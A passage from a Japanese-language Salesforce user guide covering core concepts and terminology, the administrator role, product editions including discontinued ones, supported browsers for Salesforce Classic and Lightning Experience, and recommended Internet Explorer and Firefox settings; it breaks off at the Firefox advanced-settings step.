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Salesforce ドキュメントへようこそ

設定とセキュリティSalesforce の一般的な機能

Salesforce1 モバイルアプリケーション分析

レポートとダッシュボー
ド

Wave Analytics

Marketing CloudSales Cloud

販売ツールの設定および
管理

顧客への営業

コミュニティと ChatterService Cloud

すべてのユーザとのコラ
ボレーション

コラボレーションツール
の設定および管理

コミュニティの設定およ
び管理

機能有効化開発

一般的なリソース
• リリースノート (最新リリース)

• 詳細な Salesforce ユーザガイド

1

http://help.exacttarget.com
https://developer.salesforce.com/page/Documentation
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• Trailhead 対話型学習モジュール
• 信頼とコンプライアンスに関するドキュメント
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Salesforce の新機能

セールス、サポート、マーケティング、およびChatterユーザ向けの最新機能やプラットフォームの機能強化に
ついて説明します。

現在のリリース

最新機能について説明します。
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Salesforce へのお問い合わせ

現在、この機能のヘルプは使用できません。Salesforce にお問い合わせください。
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Salesforce の使用開始

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

Salesforce をお選びいただき誠にありがとうございます。Salesforce は、カスタマー
リレーションの管理、他のシステムとのインテグレーション、さらには独自の
アプリケーション開発まで行うクラウドコンピューティングサービスです。こ
こでは、Salesforce の製品とエディションを理解するための主要な概念を紹介し、
Salesforce で一般的なタスクを実行する方法について説明します。

Salesforce とは?

Salesforce は、顧客に対するセールス、サービス、マーケティング、分析、つ
ながりを促進するために設計されたカスタマーサクセスプラットフォームです。
Salesforce へのログイン、操作、検索
Salesforce の新規ユーザですか? 基本的な CRM 機能の操作、カスタマイズ、および管理方法について学習して
ください。
ID の検証
ID 検証ツールを使用して、データを不正アクセスから安全に保護します。
Salesforce 環境のカスタマイズ
メールアドレスなどの個人情報を更新します。パスワードおよびセキュリティの質問を変更します。シス
テム管理者権限がある場合は、Salesforce 組織をカスタマイズすることもできます。
モバイルデバイスでの作業
Salesforce では、場所を問わず、複数のモバイルアプリケーションの接続状態を保ち、生産性を維持するこ
とができます。

Salesforce とは?

エディション

使用可能なエディション:
Salesforce Classic

使用している Salesforceエ
ディションによって、使
用可能な機能が異なりま
す。

Salesforce は、顧客に対するセールス、サービス、マーケティング、分析、つな
がりを促進するために設計されたカスタマーサクセスプラットフォームです。
Salesforce には、場所を問わず、ビジネスを進めるために必要なすべてが揃って
います。標準の製品と機能を使用して、見込み客および顧客とのリレーション
の管理、従業員およびパートナーとのコラボレーションとエンゲージメント、
クラウドへのセキュアなデータ保存ができます。
ただし、標準の製品と機能は始まりにすぎません。Salesforce のプラットフォー
ムを使用すると、顧客、パートナー、従業員向けのエクスペリエンスをカスタ
マイズし、標準機能の範囲を超えて容易に拡張できます。
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概念、製品、サービス
Salesforce の使用を開始するときは、主要な概念と用語を理解することをお勧めします。これらは、製品の
操作やドキュメントの参照、サービスプロフェッショナルとのやりとりの中で頻繁に登場します。ここに
挙げた概念と用語は、Salesforce のしくみを理解するのに役立ちます。
Salesforce システム管理者
Salesforce システム管理者 (または「管理者」) は、システム管理を任務とし、その他の特別な権限を持つ
Salesforce ユーザです。システム管理者は、組織の Salesforce 設定と、その円滑な運用を担当します。
Salesforce エディション
Salesforce で提供している製品とサービスのバンドルは複数あり、それぞれが異なるビジネスニーズのセッ
トに合わせて調整されています。
サポートされるブラウザ、言語、およびアクセシビリティ基準
Salesforce でサポートされるブラウザ、言語、およびアクセシビリティ基準について説明します。
関連リソース
追加のリソースが必要な場合は、ヒントシート、実装ガイド、動画、ウォークスルーを確認してください。

概念、製品、サービス
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

Salesforce の使用を開始するときは、主要な概念と用語を理解することをお勧め
します。これらは、製品の操作やドキュメントの参照、サービスプロフェッショ
ナルとのやりとりの中で頻繁に登場します。ここに挙げた概念と用語は、Salesforce

のしくみを理解するのに役立ちます。

概念

定義概念

Salesforce で、商品の販売や顧客のサポートなど、特定種別の
活動の実行に役立つ機能の緩やかなインテグレーションを示

クラウド

す名前。2 つの一般的な例として、Service Cloud と Sales Cloud が
あります。

ブラウザを介してサインアップ、ログインするインターネッ
トベースのサービスを可能にする技術。Salesforce は、サービ

クラウドコン
ピューティング

スをクラウドで提供しています。その他のよく知られたクラ
ウドコンピューティングサービスとして、Google Apps や
Amazon.com などがあります。

従来の手段 (ディスク上など) ではなく、クラウドでサービス
として提供されるソフトウェア。ダウンロードやインストー
ルは不要で、更新は自動的に行われます。

サービスとして
のソフトウェア
(SaaS)
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定義概念

可能な限り最も安全、高速で、信頼性の高いクラウドベースのサービスを構築し、
提供するための Salesforce の全社的なコミットメントを示す用語。
trust.salesforce.comはシステム状況 Web サイトで、Salesforce ユーザとコミュニ
ティは、リアルタイムおよび過去のシステムパフォーマンス情報と更新にアクセス

信頼

できます。主要なシステムコンポーネントすべてに関するインシデントレポートと
メンテナンススケジュールも表示されます。
trust.salesforce.comは、Salesforce コミュニティのメンバーであれば誰でも無料
で使用できます。

製品およびサービス
Salesforce には、次の製品およびサービスがあります。
Salesforce アプリケーション

Salesforce には、営業活動の自動化からパートナーリレーション管理、マーケティング、カスタマーサービ
スに及ぶカスタマーリレーション管理 (CRM) のための各種アプリケーション (「アプリ」) が組み込まれてい
ます。

Force.com Platform

Force.com プラットフォームは最初のサービスプラットフォーム (PaaS) で、開発者はこれを利用してさまざま
な種類のビジネスアプリケーションをソフトウェアを使用せずに完全にオンデマンドで作成できます。プ
ラットフォームに搭載されたポイントアンドクリック操作の使いやすいカスタマイズツールを使用すれば、
プログラミング経験のないユーザでも、独自のビジネス要件を満たすソリューションを作成できます。

AppExchange

AppExchange は、Salesforce の顧客、開発者、パートナーが作成したクラウドアプリケーションを数多く提供
するマーケットプレイスです。アプリケーションの多くは無料で使用でき、すべてのアプリケーションが
Salesforce に事前に統合されているため、ユーザはこれらの機能を簡単かつ効率よく追加できます。

Salesforce.com コミュニティ
Salesforce では、製品を使用して成功していただけるよう、トレーニング、サポート、コンサルティング、
行動、ベストプラクティス、およびディスカッションボードをご用意しています。「Salesforce.com コミュニ
ティ」を参照してください。

用語

定義用語

アプリケーションの短縮形。特定のビジネスニーズに対応するタブ、レポート、ダッ
シュボード、Visualforce ページなどのコンポーネントの集合です。Salesforce では、セー

App

ルスおよびサービスなど、カスタマイズできる標準アプリケーションを提供してい
ます。お客様のニーズに合わせてこれらの標準アプリケーションをカスタマイズで
きます。
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定義用語

Salesforce 製品およびサービスのバンドルのいずれか。エディションは複数あり、そ
れぞれが異なるビジネスニーズのセットに合わせて調整されています。すべての
Salesforce エディションでデザインは同じですが、機能と価格はそれぞれ異なります。

エディション

Salesforce に保存可能な特定種別の情報の定義。たとえば、ケースオブジェクトを使
用して、顧客からの問い合わせに関する情報を保存できます。オブジェクトごとに、
組織には複数の特定のレコードがあります。
Salesforce には、多くの標準オブジェクトが用意されていますが、カスタムオブジェ
クトを作成することもできます。

オブジェクト

ライセンスユーザセットが定義された Salesforce の導入。組織には、データとアプリ
ケーションのすべてが含まれます。

組織

特定種別の特定の項目に関する情報を保存する項目のコレクション。レコードは、
取引先責任者、取引先、商談などのオブジェクトです。たとえば、佐藤次郎さんに

レコード

関する情報を保存する取引先責任者レコードや、佐藤次郎さんからのトレーニング
への問い合わせに関する情報を保存するケースレコードなどです。

Salesforce は、1 年に 3 回、新製品や新機能をリリースします。リリースはカレンダー
年と季節 (Winter、Spring、Summer) で識別されます。たとえば、Winter '15 などです。
Salesforce リリースのたびに、Salesforce リリースノートで、正式リリースまたはベータ
リリースされる新機能と新製品について説明されます。既存の機能と製品へのすべ

リリース

ての変更についても説明されます。リリースノートを見つけるには、Salesforce オン
ラインヘルプで「リリースノート」を検索してください。

Salesforce クラウドコンピューティング CRM サービスの名前と会社名。Salesforce

Salesforce システム管理者
Salesforce システム管理者 (または「管理者」) は、システム管理を任務とし、その他の特別な権限を持つ Salesforce

ユーザです。システム管理者は、組織の Salesforce 設定と、その円滑な運用を担当します。
システム管理者には特別な権限があります。たとえば、ユーザアカウントを追加したり、ユーザが Salesforce で
表示、実行できる内容を指定したりできます。システム管理者は、Salesforce カスタムオブジェクト、ワークフ
ロー、入力規則、レポートなどを作成できます。また、企画、問題解決、支援なども行います。すべての
Salesforce 組織には少なくとも 1 人のシステム管理者がいます。システム管理者の役割は、会社の規模と構造に
応じて単純にも複雑にもなります。比較的小規模な組織のシステム管理者は多くの場合、他のユーザと同様に
Salesforce を使用して商品の販売やカスタマーサービスの提供を行うユーザでもあります。
Salesforce には、ユーザ自身が設定できる多くの機能と項目があります。ただし、場合によっては Salesforce の機
能を最大限に活用するため、信頼できるシステム管理者と協力して対応します。
システム管理者によるユーザ支援の例として、次のようなものがあります。
• ユーザがトレーニング時に知ったオブジェクト、項目、機能を検索し、使用できるようにする。
• ケースがクローズされたことを検出できるカスタムワークフローを作成する。
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• 従業員の費用支出を承認できるカスタム承認プロセスを作成する。
• 営業地域のカスタムレポートを作成する。
• ユーザプロファイルでは付与されていないユーザ権限を付与する。
• 自分や他のユーザのレコードアクセス権に関する質問に答える。
• システム管理者に問い合わせて支援や詳細を得るように指示するエラーメッセージが表示された場合に対

処する。
いつ、なぜ、どのようにシステム管理者に問い合わせるかは、会社の内部ビジネスポリシーや手続きに応じて
異なります。

Salesforce エディション
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce で提供している製品とサービスのバンドルは複数あり、それぞれが異
なるビジネスニーズのセットに合わせて調整されています。
これらのバンドルはエディションと呼ばれ、デザインは同じですが、機能と価
格はそれぞれ異なります。たとえば、エンタープライズテリトリー管理は、Sales

Cloud が付属する Enterprise Edition と Unlimited Edition の組織では使用できますが、
Professional Edition 組織では使用できません。最初は基本的なエディションを使用
し、ビジネスの成長に合わせてアップグレードしているお客様もいます。
Salesforce ヘルプでは、一部のエディションにのみ含まれる機能を含め、正式リ
リースされている機能のすべてについて説明しています。現在のエディション
で機能が使用可能かどうかを調べるには、Salesforce ヘルプでその機能を検索し、
その機能に関するいずれかのトピックで、冒頭部分にある「使用可能なエディ
ション」表を確認してください。
Professional Edition

このエディションは、CRM の全機能を必要とするビジネス向けに設計されています。Professional Edition に
は、簡単で使いやすいカスタマイズ、インテグレーション、および管理ツールが含まれており、中小規模
のリリースを容易に進めることができます。

Enterprise Edition

このエディションは、大規模で複雑なビジネスのニーズに応えるために設計されています。Professional Edition

組織では、Enterprise Edition で使用可能なすべての機能に加え、高度なカスタマイズおよび管理ツールで大規
模なリリース環境をサポートできます。Enterprise Edition には、Web サービス API へのアクセスも含まれてい
るため、バックオフィスシステムとも容易に統合できます。

Unlimited Edition

このエディションは、Force.com プラットフォームを通して最大限の成功をもたらし、その成功を企業全体
に広げる Salesforce のソリューションです。Unlimited Edition ユーザは、あらゆる情報をオンデマンドで管理し
て共有する、これまでにない柔軟性を備えたプラットフォームの効果が得られます。Unlimited Edition には、
Enterprise Edition のすべての機能に加え、プレミアサポート、モバイルのフルアクセス、無制限のカスタムア
プリケーションが含まれるほか、ストレージ制限が緩和されています。

Developer Edition

このエディションでは、Force.comプラットフォームと API にアクセスできます。Developer Edition 組織では、
開発者が Salesforce システムを拡張し、他のアプリケーションと統合して、新しいツールやアプリケーショ
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ンを開発できます。Developer Edition では、Enterprise Edition の組織で使用できる機能の多くにアクセスできま
す。

メモ:  Developer Edition 組織では、テクニカルサポートは提供されません。Force.com 開発者 Web サイト
(developer.salesforce.com) で、登録ユーザが使用可能な開発者コミュニティメッセージボードから助言を
求めることができます。Developer Edition のドキュメントは、テクニカルライブラリから入手できます。

各エディションとその機能の比較表は、Salesforce の価格とエディションのページを参照してください。

販売終了した Salesforce のエディション
一部の Salesforce のエディションは販売を終了しています。引き続き Contact Manager Edition、Group Edition、
Personal Edition、Performance Edition、または Database.com Edition の組織を使用することも、現在販売されている
エディション (Professional Edition、Enterprise Edition、Unlimited Edition、Developer Edition) のいずれかを購入するこ
ともできます。

販売終了した Salesforce のエディション

エディション

使用可能なエディション:
Contact Manager Edition、
Group Edition、Personal
Edition、Performance
Edition、および
Database.com Edition

一部の Salesforce のエディションは販売を終了しています。引き続き Contact Manager

Edition、Group Edition、Personal Edition、Performance Edition、または Database.com Edition

の組織を使用することも、現在販売されているエディション (Professional Edition、
Enterprise Edition、Unlimited Edition、Developer Edition) のいずれかを購入することもで
きます。

メモ: Lightning Experience は、Contact Manager Edition、Personal Edition、または
Database.com Edition の組織では使用できません。

Contact Manager Edition

このエディションは、中小企業を対象に、取引先、取引先責任者、活動、カ
レンダー、メモと添付ファイル、レポートなど、主な取引先責任者管理機能へのアクセスを提供するため
に設計されています。Contact Manager Edition には、簡単で使いやすいカスタマイズオプションも用意されて
います。

Group Edition

このエディションは、ユーザ数が限られた小規模ビジネスやワークグループ向けに設計されています。Group

Edition ユーザは、販売サイクルの開始から終了まで顧客を管理し、カスタマーサービスやサポートを提供
できます。Group Edition では、取引先、取引先責任者、商談、リード、ケース、ダッシュボード (参照のみ)、
およびレポートにアクセスできます。

Personal Edition

このエディションは、個々の営業担当者やその他の単一ユーザ向けに設計された CRM ソリューションです。
Personal Edition は、取引先、取引先責任者、Microsoft Outlook® との同期など、主な取引先責任者管理機能への
アクセスを提供します。また、営業担当者に商談などの販売ツールも提供します。

メモ:  2009 年 6 月より後に購入された Personal Edition 組織は、商談にアクセスできません。
Performance Edition

このエディションは、ソーシャルおよびモバイル分野での成長を推進し、顧客満足度を上げ、営業とサー
ビスの成果を最大に活かす必要があるお客様向けに設計されています。Performance Edition 組織には、Unlimited

Edition の全機能に加え、Data.com Clean で対象を絞ったリードと顧客のデータ、Work.comのコーチングおよび
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フィードバックツール、Identity の信頼できる ID サービスなどが含まれています。日本、シンガポール、お
よび韓国のお客様には、Data.com 以外のすべての Performance Edition 機能が含まれた Performance Edition Limited

を提供しています。
Database.com

Database.comは、モバイル、ソーシャルエンタープライズの各アプリケーションのデータを保存するように
設計されたマルチテナントクラウドデータベースサービスです。Database.comは、任意の言語で作成して、
任意のプラットフォームまたはモバイルデバイスで実行するアプリケーションのバックエンドデータベー
スとして使用できます。Database.comに組み込まれているソーシャルコンピューティングインフラストラク
チャと高度な REST ベースの API のネイティブサポートにより、従業員向けのネイティブのモバイルアプリ
ケーションとソーシャルアプリケーションを作成できます。
Salesforce のお客様は、カスタムオブジェクトの作成、セキュリティの管理、Force.com プラットフォームと
API を使用したデータのインポートなどの実行時に、すでに Database.com を使用しています。他の言語、プ
ラットフォーム、デバイスを利用するアプリケーションを作成する開発者向けに、Database.com のスタンド
アロンバージョンも提供されています。
Database.com 固有のドキュメントは提供されません。Salesforce ドキュメントおよび Database.com でサポート
される機能のリストを参照してください。このリストは、Database.com に適用される Salesforce ドキュメント
の主題を示します。また、Database.com で機能が使用可能な場合、すべての機能のエディション表に
Database.com が含まれます。Salesforce ヘルプ、リリースノート、ワークブック、および API、Apex、SOQL、
SOSL の開発者ガイドを使用します。

サポートされるブラウザ、言語、およびアクセシビリティ基準
Salesforce でサポートされるブラウザ、言語、およびアクセシビリティ基準について説明します。

サポートされるブラウザ
Salesforce 用にサポートされるブラウザは、Salesforce Classicまたは Lightning Experienceのどちらを使用している
かによって異なります。
サポート言語
Salesforce では、完全にサポートされる言語、エンドユーザ言語、およびプラットフォームのみの言語とい
う 3 つのレベルの言語がサポートされています。
Salesforce1 モバイルアプリケーションの要件
Salesforce1は、ほとんどの Salesforceエディションおよびユーザライセンスの種類で使用できます。このアプ
リケーションは各種のモバイルプラットフォームでサポートされますが、オペレーティングシステムの最
小要件およびモバイルブラウザ要件があります。
アクセシビリティ基準
アクセシビリティを念頭に置いてアプリケーションを設計するために Salesforce が従う基準について説明し
ます。
キーボードショートカット
キーボードショートカットを使用して、Salesforce で効率的に作業できます。
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Lightning Experience コンポーザウィンドウのキーボードショートカット
キーボードショートカットを使用すると、Lightning Experience コンポーザウィンドウで効率的に作業できま
す。コンポーザウィンドウを開いて、ToDo の作成、メモ取り、活動の記録などを行うことができます。キー
ボードショートカットを使用して、コンポーザ内の項目間や、同時に開かれている複数のコンポーザウィ
ンドウ間を容易に移動できます。

サポートされるブラウザ
Salesforce 用にサポートされるブラウザは、Salesforce Classic または Lightning Experience のどちらを使用しているか
によって異なります。

Salesforce Classic でサポートされるブラウザ
Salesforce Classicは、Microsoft® Internet Explorer®バージョン 8、9、10、11、Mac OS X の Apple® Safari®バージョン 8.x、
9.x、10.x、Windows® 10 の Microsoft® Edge でサポートされています。また、Mozilla® Firefox® と Google Chrome™ の最
新の安定バージョンでもサポートされています。いくつか制限事項があります。
Lightning Experience でサポートされるブラウザ
Lightning Experienceは、Mac OS X の Apple® Safari®バージョン 8.x、9.x、10.x、Windows® 10 の Microsoft® Edge でサポー
トされています。また、Mozilla® Firefox® と Google Chrome™ の最新の安定バージョンでもサポートされていま
す。Microsoft® Internet Explorer® バージョン 11 は Summer ’16 以降は廃止されます。Microsoft® Internet Explorer® バー
ジョン 9 ～ 10 を使用している場合、Salesforce Classic にリダイレクトされます。いくつか制限事項がありま
す。
Internet Explorer の設定
Internet Explorer を使用する場合は、Salesforce でサポートされている最新バージョンを使用することをお勧め
します。すべての Microsoft ソフトウェア更新を適用してください。
Firefox の設定
Salesforce が Firefox で最適に動作するように、ブラウザの設定を更新します。

Salesforce Classic でサポートされるブラウザ

エディション

Salesforce Classic を使用可
能なエディション: すべて
のエディション

Salesforce Classic は、Microsoft® Internet Explorer® バージョン 8、9、10、11、Mac OS X の
Apple® Safari® バージョン 8.x、9.x、10.x、Windows® 10 の Microsoft® Edge でサポートさ
れています。また、Mozilla® Firefox®と Google Chrome™の最新の安定バージョンでも
サポートされています。いくつか制限事項があります。

メモ: モバイルブラウザでの Salesforce Classicの使用はサポートされていませ
ん。モバイルデバイスで作業をする場合は、代わりにSalesforce1アプリケー
ションを使用することをお勧めします。Salesforce1でサポートされるモバイ
ルブラウザについては、「Salesforce1 モバイルアプリケーションの要件」
(ページ 24)を参照してください。

Microsoft Edge

Salesforce Classic では、Windows 10 の Microsoft Edge がサポートされています。次の制限があります。
• Microsoft Edge の HTML ソリューションエディタは、Salesforce ナレッジではサポートされていません。
• Microsoft Edge は、開発者コンソールではサポートされていません。

12

サポートされるブラウザ、言語、およびアクセシビリ
ティ基準

Salesforce の使用開始



• Microsoft Edge は、CTI Toolkit バージョン 4.0 以降を使用して作成された Salesforce CRM Call Centerではサポート
されていません。

Microsoft Internet Explorer バージョン 8、9、10、11

Internet Explorer を使用する場合は、Salesforce でサポートされている最新バージョンを使用することをお勧め
します。すべての Microsoft ソフトウェア更新を適用してください。次の制限があります。
• Internet Explorer 8 のサポートは制限されます。Internet Explorer 8 は、TLS 1.1 または TLS 1.2 を有効にした Windows

7 でのみサポートされます。
• Salesforce フルサイトは、標準キーボードおよびマウス入力が可能な Windows 8 および 8.1 搭載タッチ対応

ラップトップの Internet Explorer 9、10、11 でのみサポートされます。タッチが主要な操作手段であるモバ
イルデバイスやタブレットではサポートされていません。代わりに Salesforce1 モバイルブラウザアプリ
ケーションを使用してください。

• Internet Explorer 11 の HTML ソリューションエディタは、Salesforce ナレッジではサポートされていません。
• Internet Explorer での互換モードと互換表示はいずれもサポートされていません。
• Internet Explorer 10 の Metro バージョンはサポートされません。
• Internet Explorer 11 は、開発者コンソールではサポートされていません。
• Internet Explorer 11 は、CTI Toolkit バージョン 4.0 以降を使用して作成された Salesforce CRM Call Center ではサ

ポートされていません。
• セルフサービスのコミュニティテンプレートでは、Internet Explorer 9 以降でデスクトップユーザが、Internet

Explorer 11 以降でモバイルユーザがサポートされています。
• Internet Explorer 9 は Salesforce Wave Analytics ではサポートされていません。
• Internet Explorer 9 および 10 は、Lightning アプリケーションビルダーではサポートされていません。
• Internet Explorer 9 ユーザには、ブラウザベースのスペルチェックがありません。
• フィードコメントへのファイルのドラッグアンドドロップは Internet Explorer ではサポートされていませ

ん。
設定の推奨事項については、「Internet Explorer の設定」 (ページ 17)を参照してください。

メモ: Salesforce Classic での Microsoft® Internet Explorer® バージョン 7 および 8 のサポートは、Summer '15 をもっ
て終了しています。

Mozilla Firefox の最新の安定バージョン
Salesforce は Firefox の最新バージョンのテストおよびサポートに努めています。
• Mozilla Firefox は、セルフサービスのコミュニティテンプレートのデスクトップユーザに対してのみサポー

トされています。
設定の推奨事項については、「Firefox の設定」 (ページ 18)を参照してください。

Google Chrome の最新の安定バージョン
Chrome では自動的に更新が適用されます。Salesforce は、最新バージョンのテストおよびサポートに努めて
います。Chrome の設定に関する推奨事項はありません。
Chrome は、以下ではサポートされていません。
• [コンソール] タブ (Salesforce コンソールはサポート対象)
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Mac OS X の Apple Safari バージョン 8.x および 9.x

Safari の設定に関する推奨事項はありません。iOS の Apple Safari は、Salesforce フルサイトではサポートされて
いません。
Safari は、以下ではサポートされていません。
• Salesforce コンソール
• バージョン 4.0 より前の CTI Toolkit を使用して作成された Salesforce CRM Call Center

• Salesforce Wave Analytics

Wave Analytics でサポートされるブラウザ
ブラウザサポートは、Microsoft Internet Explorer バージョン 10 と 11、および Mozilla Firefox と Google Chrome の最新の
安定バージョンで使用できます。

すべてのブラウザに関する推奨事項と要件
• すべてのブラウザに対して、JavaScript、Cookie、TLS 1.2 を有効にします。TLS 1.2 が使用できない場合、TLS 1.1

を有効にします。TLS 1.1 または TLS 1.2 をサポートしていないブラウザの場合、TLS 1.0 が無効化されると、
Salesforce にアクセスできなくなります。Sandbox 組織ではすでに無効化されており、本番組織でも 2017 年 3

月 4 日に無効化が完了します。
• すべての Salesforce 機能をサポートするために必要な最小画面解像度は 1024×768 です。画面解像度がそれよ

り低い場合、レポートビルダーやページレイアウトエディタなどの Salesforce 機能が正しく表示されない可
能性があります。

• Apple Safari または Chrome を使用している Mac OS ユーザは、システム設定の [スクロールバーを表示] が [常
に] に設定されていることを確認してください。

• 一部のサードパーティ Web ブラウザプラグインと拡張は、Chatter の機能に干渉する可能性があります。
Chatter が正常に機能しなかったり、整合性のない動作をする場合は、Web ブラウザのプラグインと拡張を
無効にしてから、もう一度試してみてください。

Salesforce の一部の機能や、一部のデスクトップクライアント、ツールキット、およびアダプタには、独自のブ
ラウザ要件があります。次に例を示します。
• Internet Explorer は、次の機能を唯一サポートしているブラウザです。

– 標準差し込み印刷
– Windows Mobile デバイスへの Salesforce Classic Mobile のインストール
– Connect Offline

• 高度なページレイアウトエディタで最適な操作性を得るには、Firefox を使用します。
• 8 GB の RAM を搭載したマシンの Salesforce コンソールで最適な操作性を得るには、Chrome を使用します。
• Chatter で複数のファイルをアップロードする場合には、ブラウザ要件も適用されます。
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Lightning Experience でサポートされるブラウザ

エディション

Lightning Experience を使用
可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Lightning Experience は、Mac OS X の Apple® Safari® バージョン 8.x、9.x、10.x、Windows®

10 の Microsoft® Edge でサポートされています。また、Mozilla® Firefox®と Google Chrome™

の最新の安定バージョンでもサポートされています。Microsoft® Internet Explorer®

バージョン 11 は Summer ’16 以降は廃止されます。Microsoft® Internet Explorer® バー
ジョン 9 ～ 10 を使用している場合、Salesforce Classicにリダイレクトされます。い
くつか制限事項があります。

メモ: モバイルブラウザで Lightning Experience にアクセスすることはできま
せん。モバイルデバイスで作業をする場合は、代わりに Salesforce1 アプリ
ケーションを使用することをお勧めします。Salesforce1でサポートされるモ
バイルブラウザのリストは、「Salesforce1 モバイルアプリケーションの要
件」 (ページ 24)を参照してください。

Microsoft Edge

Lightning Experience では、Windows 10 の Microsoft Edge がサポートされています。次の制限があります。
• Microsoft Edge の HTML ソリューションエディタは、Salesforce ナレッジではサポートされていません。
• Microsoft Edge は、開発者コンソールではサポートされていません。
• Microsoft Edge は、CTI Toolkit バージョン 4.0 以降を使用して作成された Salesforce CRM Call Centerではサポート

されていません。
Microsoft Internet Explorer バージョン 11

重要:  Internet Explorer 11 による Lightning Experience へのアクセスは、Summer '16 以降サポートされなくな
ります。
• 既存の組織のユーザは、2017 年 12 月 16 日まで引き続き IE11 を使用して Lightning Experience にアクセ

スできます。
• Summer '16 以降に作成された新規組織のユーザは、IE11 を使用して Lightning Experience にアクセスす

ることはできません。代わりに、IE11 ユーザは自動的に Salesforce Classic にリダイレクトされます。
この変更についての詳細は、「Microsoft Internet Explorer バージョン 11 を使用した Lightning Experience およ
び Salesforce1 モバイルブラウザアプリケーションへのアクセスのサポート終了」を参照してください。

Internet Explorer を使用する場合は、Salesforce でサポートされている最新バージョンを使用することをお勧め
します。すべての Microsoft ソフトウェア更新を適用してください。次の制限があります。
• Salesforce フルサイトは、標準キーボードおよびマウス入力が可能な Windows 8 および 8.1 搭載タッチ対応

ラップトップの Internet Explorer 11 でのみサポートされます。タッチが主要な操作手段であるモバイルデ
バイスやタブレットではサポートされていません。代わりにSalesforce1 モバイルブラウザアプリケーショ
ンを使用してください。

• Internet Explorer 11 の HTML ソリューションエディタは、Salesforce ナレッジではサポートされていません。
• Internet Explorer の互換表示機能はサポートされていません。
• X-UA-Compatibility ヘッダーなどを使用したブラウザの互換性解析モードの変更はサポートされて

いません。
• Internet Explorer 11 は、開発者コンソールではサポートされていません。
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• Internet Explorer 11 は、CTI Toolkit バージョン 4.0 以降を使用して作成された Salesforce CRM Call Center ではサ
ポートされていません。

• Internet Explorer 11 は、Lightning コンソールアプリケーションではサポートされていません。
• フィードコメントへのファイルのドラッグアンドドロップは Internet Explorer ではサポートされていませ

ん。
設定の推奨事項については、「Internet Explorer の設定」 (ページ 17)を参照してください。

Mozilla® Firefox® の最新の安定バージョン
Salesforce は Firefox の最新バージョンのテストおよびサポートに努めています。設定の推奨事項については、
「Firefox の設定」 (ページ 18)を参照してください。

Google Chrome™ の最新の安定バージョン
Chrome では自動的に更新が適用されます。Salesforce は、最新バージョンのテストおよびサポートに努めて
います。Chrome の設定に関する推奨事項はありません。

メモ: Google Chromium™ の最新の安定バージョンがサポートされています。

Mac OS X の Apple® Safari® バージョン 8.x、9.x、10.x

Safari の設定に関する推奨事項はありません。
Safari は、以下ではサポートされていません。
• バージョン 4.0 より前の CTI Toolkit を使用して作成された Salesforce CRM Call Center

• Salesforce Wave Analytics

Wave Analytics でサポートされるブラウザ
ブラウザサポートは、Microsoft Internet Explorer バージョン 11、および Mozilla Firefox と Google Chrome の最新の安定
バージョンで使用できます。

すべてのブラウザに関する推奨事項と要件
• すべてのブラウザに対して、JavaScript、Cookie、TLS 1.2 を有効にします。TLS 1.2 が使用できない場合、TLS 1.1

を有効にします。TLS 1.1 または TLS 1.2 をサポートしていないブラウザの場合、TLS 1.0 が無効化されると、
Salesforce にアクセスできなくなります。Sandbox 組織ではすでに無効化されており、本番組織でも 2017 年 3

月 4 日に無効化が完了します。
• すべての Salesforce 機能をサポートするために必要な最小画面解像度は 1024×768 です。画面解像度がそれよ

り低い場合、レポートビルダーやページレイアウトエディタなどの Salesforce 機能が正しく表示されない可
能性があります。

• Apple Safari または Google Chrome を使用している Mac OS ユーザは、システム設定の [スクロールバーを表示]

が [常に] に設定されていることを確認してください。
• 一部のサードパーティ Web ブラウザプラグインと拡張は、Chatter の機能に干渉する可能性があります。

Chatter が正常に機能しなかったり、整合性のない動作をする場合は、Web ブラウザのプラグインと拡張を
無効にしてから、もう一度試してみてください。

16

サポートされるブラウザ、言語、およびアクセシビリ
ティ基準

Salesforce の使用開始



Internet Explorer の設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

Internet Explorer を使用する場合は、Salesforce でサポートされている最新バージョ
ンを使用することをお勧めします。すべての Microsoft ソフトウェア更新を適用
してください。
Internet Explorer のパフォーマンスを最大化するために、ブラウザの設定から [イン
ターネットオプション] ダイアログボックスの次のオプションを設定します。

[全般] タブ
1. [全般] タブで、[閲覧の履歴] の下の [設定] をクリックします。
2. [保存しているページの新しいバージョンの確認] オプションとして、[自動的に確認する] を選択します。
3. [使用ディスク領域] オプションで、50 MB 以上を指定します。

[セキュリティ] タブ
1. [セキュリティ] タブで、[インターネット] の下の [レベルのカスタマイズ] をクリックし、[スクリプト] セク

ションまでスクロールします。
2. [アクティブ スクリプト]オプションが有効になっていることを確認します。JavaScript は、この設定が有効

になっているかどうかに依存します。

[プライバシー] タブ
1. [プライバシー] タブで、[詳細] をクリックします。
2. [自動 Cookie 処理を上書きする] オプションを選択します。
3. [常にセッション Cookie を許可する] オプションを選択します。
4. [サードパーティの Cookie] オプションで、[受け入れる] を選択します。

[詳細設定] タブ
[詳細設定] タブで、[セキュリティ] セクションにスクロールし、次のように設定します。
• [暗号化されたページをディスクに保存しない] オプションはオンにしません。
• [TLS 1.0 を使用]、[TLS 1.1 を使用]、および [TLS 1.2 を使用] をクリックします。[SSL 2.0 を使

用] および [SSL 3.0 を使用] をオフにします。SSL は Salesforce でサポートされなくなりました。TLS 1.0

は、無効化 (現在、Sandbox 組織は 2016 年 6 月、本番組織は 2017 年前半に予定) 後はサポートされなくなりま
す。

ヒント: [ブラウザを閉じたとき、[Temporary Internet Files] フォルダを空にする] オプションをオ
ンにすると、Internet Explorer の終了時にキャッシュがクリアされます。この設定では、プライバシーは保
護されますが、パフォーマンスが低下する場合があります。
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Firefox の設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

Salesforce が Firefox で最適に動作するように、ブラウザの設定を更新します。
Salesforce は Firefox の最新バージョンのテストおよびサポートに努めています。

高度な設定
必要に応じて、パフォーマンスの最大化のためにキャッシュの詳細設定を行い
ます。
1. ブラウザのロケーションバーに「about:config」と入力し、Enter キーを押

します。
2. 警告が表示されたら、[細心の注意を払って使用する] をクリックします。
3. 次の設定を探し、設定名をダブルクリックして推奨値に設定します。変更はすぐ有効になります。
